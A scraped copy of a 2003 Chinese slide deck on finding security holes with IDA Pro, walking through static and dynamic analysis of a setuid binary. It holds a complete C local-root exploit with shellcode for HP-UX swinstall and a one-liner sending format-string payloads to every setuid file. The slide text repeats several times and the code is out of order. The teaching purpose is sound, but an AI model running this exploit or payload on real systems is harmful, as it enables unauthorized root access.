版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
利用IDAPro开掘和分析平安漏洞watercloud日期:2003/12/25软件平安漏洞开掘模型软件平安漏洞开掘方法IDAPro使用根底与IDC脚本简介IDC在平安漏洞开掘中的应用Copyright©watercloud@2003平安漏洞开掘模型和方法Copyright©watercloud@2003平安BUG软件BUG理论根底:软件测试方法平安漏洞开掘模型和方法Copyright©watercloud@2003平安漏洞存在于软件的非孤立性中。数据处理中的逻辑错误。来源数据的过分依赖。DATA逻辑错误CDAB平安漏洞开掘模型和方法Copyright©watercloud@2003白盒测试灰盒测试黑盒测试主要针对开源系统(GNU/BSD)主要针对非开源系统〔商业Unix,Windows〕主要重点平安漏洞开掘模型和方法Copyright©watercloud@2003白盒测试黑盒测试一些自动化工具::///rats:///://自己手写一个:$exportCC=`perl–e‘print“%9000s%n%n%n〞x800’`$find/-perm–u+s–execsh–c{}$CC\;平安漏洞开掘模型和方法Copyright©watercloud@2003静态分析自动化工具::///projects/bugscam动态分析自动化工具:://平安漏洞开掘模型和方法Copyright©watercloud@2003常用辅助工具:静态考查:file、nm、strings、objdump、man反汇编:IDAPro、objdump、w32dsm、gdb动态跟踪:strace、lstrace、IDAPro、ollydbg动态调试:gdb、insight、softice、ollydbg、windbg平安漏洞开掘模型和方法Copyright©watercloud@2003平安参考技术2:Crack发现和利用软件平安漏洞发现和绕过软件保护策略平安漏洞开掘模型和方法Copyright©watercloud@2003IDAPro的优势:多芯片、多文件格式的支持。准确的库确定。函数参数的标注。可以看到无符号文件的库调用。可分析软件的隐藏功能。可分析无任何文档的程序。漏洞开掘方法例如Copyright©watercloud@20031.外部观察,了解文件类型、行为和外部接口。[cloud@rsaszzz]$filezzzzzz:setuidELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.2.5,dynamicallylinked(usessharedlibs),strippedcloud@rsaszzz]$./zzzusage:./zzzstring[cloud@rsaszzz]$./zzzaafzzz(aa)=7d9dd0c79619cbcabb8f5095f61da05f<技术挑战一>传统漏洞开掘方法漏洞开掘方法例如Copyright©watercloud@20032.静态分析,看看程序用了那些外部函数:[cloud@rsaszzz]$objdump-Rzzz0804aa14R_386_JUMP_SLOTstrncat0804aa18R_386_JUMP_SLOTfileno0804aa1cR_386_JUMP_SLOTfprintf0804aa20R_386_JUMP_SLOTgetenv0804aa24R_386_JUMP_SLOTsystem0804aa28R_386_JUMP_SLOTsetresuid0804aa2cR_386_JUMP_SLOTfchmod0804aa38R_386_JUMP_SLOTstrcat0804aa3cR_386_JUMP_SLOTprintf0804aa40R_386_JUMP_SLOTgetuid0804aa44R_386_JUMP_SLOTsetreuid0804aa48R_386_JUMP_SLOTgetpwnam0804aa4cR_386_JUMP_SLOTexit0804aa50R_386_JUMP_SLOTmemset0804aa54R_386_JUMP_SLOTstrncpy0804aa58R_386_JUMP_SLOTfopen0804aa5cR_386_JUMP_SLOTsprintf0804aa60R_386_JUMP_SLOTgeteuid0804aa64R_386_JUMP_SLOTstrcpy....可以看到有了我们感兴趣的:溢出:strcpy、sprintf、strcat、(strncpy、strncat也可能导致溢出)格式串:printf、sprintf执行外部命令:system+setreuid/setresuid有可能高权限执行我们的命令。外部接口:getenv、fopen、fprintf。条件竞争:fchmod疑虑问题:setresuid/setreuid到底把权限去掉了还是设高了还是设低了?联系的是同时出现了getuid,geteuid。漏洞开掘方法例如Copyright©watercloud@20033.静态考查更多的外部接口有getenv,那么到底getenv了哪些内容,fopen又翻开了哪个个文件?[cloud@rsaszzz]$stringszzz....usage:./zzzstringfzzz()=%02xfzzz=ERR:stringtoolong.LOGNAMELOGFILElogfile=%sLOGPATHok:rootuser!ps-ef|sed's/r.*t//g'|awk'{print$1}'我们看到了感兴趣的:LOGNAMELOGFILELOGPATHok:rootuser!ps-ef|sed's/r.*t//g'|awk'{print$1}'漏洞开掘方法例如Copyright©watercloud@20034.用ida反汇编,静态考查我们以上发现的兴趣点:.text:0804940EpushoffsetaLogname;"LOGNAME".text:08049413call_getenv.text:08049418addesp,4.text:0804941Bmovdword_804A924,eax.text:08049420pushoffsetaLogfile;"LOGFILE".text:08049425call_getenv.text:0804942Aaddesp,4.text:0804973Eaddesp,8.text:08049741pushoffsetaLogname;"LOGNAME".text:08049746call_getenv.text:0804974Baddesp,4.text:0804974Emov[ebp-10h],eax.text:08049751pushoffsetaPsEfSedSR_TGAw;"ps-ef|sed's/r.*t//g'|awk'{print$1"....text:08049756call_system.text:0804975Baddesp,4深入看看我们可以发现调用system的函数在整个程序中没有被调用过简单看了一下main函数开始局部没有见到取消程序特权的调用漏洞开掘方法例如Copyright©watercloud@20035.在以上静态分析根底上动态考查我们发现的兴趣点:(1).是否有溢出、格式串等问题。考查依据是处理外部输入错误时将会"Segmentationfault"之类的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追踪一下可以很快明确这是单字节溢出。(2).动态和静态结合分析文件操作LOGFILE环境变量可以用特权身份追加文件内容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7漏洞开掘方法例如Copyright©watercloud@20035.在以上静态分析根底上动态考查我们发现的兴趣点:(1).是否有溢出、格式串等问题。考查依据是处理外部输入错误时将会"Segmentationfault"之类的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追踪一下可以很快明确这是单字节溢出。(2).动态和静态结合分析文件操作LOGFILE环境变量可以用特权身份追加文件内容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7漏洞开掘方法例如Copyright©watercloud@20035.在以上静态分析根底上动态考查我们发现的兴趣点:(1).是否有溢出、格式串等问题。考查依据是处理外部输入错误时将会"Segmentationfault"之类的信息。[cloud@rsaszzz]$./zzz`perl-e'print"A"x24'`fzzz(AAAAAAAAAAAAAAAAAAAAAAAA)=ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??Segmentationfault再用lstrace追踪一下可以很快明确这是单字节溢出。(2).动态和静态结合分析文件操作LOGFILE环境变量可以用特权身份追加文件内容:[cloud@rsaszzz]$exportLOGFILE=kk[cloud@rsaszzz]$./zzzddfzzz(dd)=5f3f6275e5a875a3de8cd6155fce81b7[cloud@rsaszzz]$ls-lkkcloud-rwxr-xr-x1rootaurora56Nov1011:24kkcloud[cloud@rsaszzz]$catkkcloudlogfile=kkcloudfzzz=5f3f6275e5a875a3de8cd6155fce81b7(3).比较难的局部是分析文件运行中权限是如何变化的通过仔细阅读ida反汇编结果,最后我们可以发现LOGNAME=root可调整程序特权。(4).直觉告诉我们如果能了解程序hash值算法能更有效指导我们写利用程序。仔细阅读反汇编程序可以得知这是一个md5算法。漏洞开掘方法例如Copyright©watercloud@20036.小结对一个未明2进制文件外表上看起来我们对他似乎只能进行黑盒测试,但通过我们对文件从不同角度进行观察,找出可能点,然后再进行有针对的黑盒测试加阅读关键点的反汇编代码我们就能完成对文件的比较全面考查。黑灰动静漏洞开掘方法例如Copyright©watercloud@2003考察功能不够完备。复杂漏洞和隐藏功能相关漏洞无法触发。Unix平台反汇编复杂,效率低下。考察Unix平台调用接口复杂,效率低下。不使用IDAPro前漏洞开掘困难:传统开掘方法成绩Copyright©watercloud@2003Solaris7/8HP-UX11Aix4.3/5.1161831IDAPro使用根底Copyright©watercloud@2003演示IDC简介Copyright©watercloud@2003演示利用IDC脚本开掘漏洞Copyright©watercloud@2003HP-UXB11.11swinstall:利用IDC脚本开掘漏洞Copyright©watercloud@2003char**argv;{intaddr_off=8208;longaddr_e=0;intn=BUFF_LEN/4,i=0;long*ap=(long*)&buffer[BUFF_LEN];char*sp=&buffer[BUFF_LEN-strlen(shellcode)];long*np=(long*)buffer;if(argc>0) addr_off+=atoi(argv[1]);addr=((long)&addr_off+addr_off)/4*4+4;for(i=0;i<n;np[i++]=NOP);memcpy(sp,shellcode,strlen(shellcode));for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);buffer[T_LEN-2]+=1;buffer[T_LEN-1]='\0';sprintf(buffer_env,"LANG=AAA%s",buffer);putenv(buffer_env);execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL); /*iffalse,testswverify.*/execl("/usr/sbin/swverify","swverify",NULL);}/*Program:ex_sw.cUse:HPUX11.11/11.0exploitswxxxtogetlocalrootshell.Complie:ccex_sw.c-oex_sw;./ex_sw(notusegccforsomesystem)Usage:./ex_sw[off]Tested:HPUXB11.11&HPUXB11.0Author:watercloudDate:2002-12-11Note:Useasyourownrisk!!使用风险自己承担!*/#include<stdio.h>#defineT_LEN2124#defineBUFF_LEN1688#defineNOP0x0b390280charshellcode[]="\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08""\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22""\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16""/bin/shA";longaddr;charbuffer_env[2496];charbuffer[T_LEN];voidmain(argc,argv)intargc;swinstall利用程序利用IDC脚本开掘漏洞Copyright©watercloud@2003讲述HalvarFlake的思想引用Halv
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025届四川省甘孜藏族自治州道孚县数学三下期中检测模拟试题含答案
- 2026年微电网技术报告:行业储能应用推动电费成本下降
- 2026年动画视频制作行业市场前景分析报告
- 2025届吕梁地区孝义市四年级数学第二学期期末检测模拟试题含答案解析
- 2026年家居建材行业投资风险分析报告:黑天鹅与灰犀牛事件应对策略
- 2026年影视行业发展趋势报告及市场分析
- 2026年5G通信技术发展现状与产业落地执行报告
- 2026年汽车行业报告:二手车市场矩阵规划与行业前景分析
- 2026年矿山机械维修保养市场趋势报告
- 2026年企业福利团购市场趋势分析报告
- 新版2026年新教材统编版九年级上册道德与法治期末复习全册考点提纲
- 羊绒衫制作工安全操作规程
- 新版2026秋新苏教版小学科学五年级上册全册知识点考点合集
- 2027兴业银行校园招聘笔试参考题库及答案详解
- ASTM D5276-23 中文版(运输包装件自由跌落测试标准 完整原文 + 不同重量跌落高度对照表)
- ASME B31.3-2024 中文版(工艺管道规范 引用 ASME V 卷无损检测要求)
- 武汉产业投资控股集团有限公司招聘笔试参考题库及答案详解
- 2026年海南发展控股公司招聘试题及答案
- 2025年山东公务员考试行测真题完整版(含答案+详细解析)
- 室外给水管道及设备安装工艺标准
- 肿瘤类器官模型应用
评论
0/150
提交评论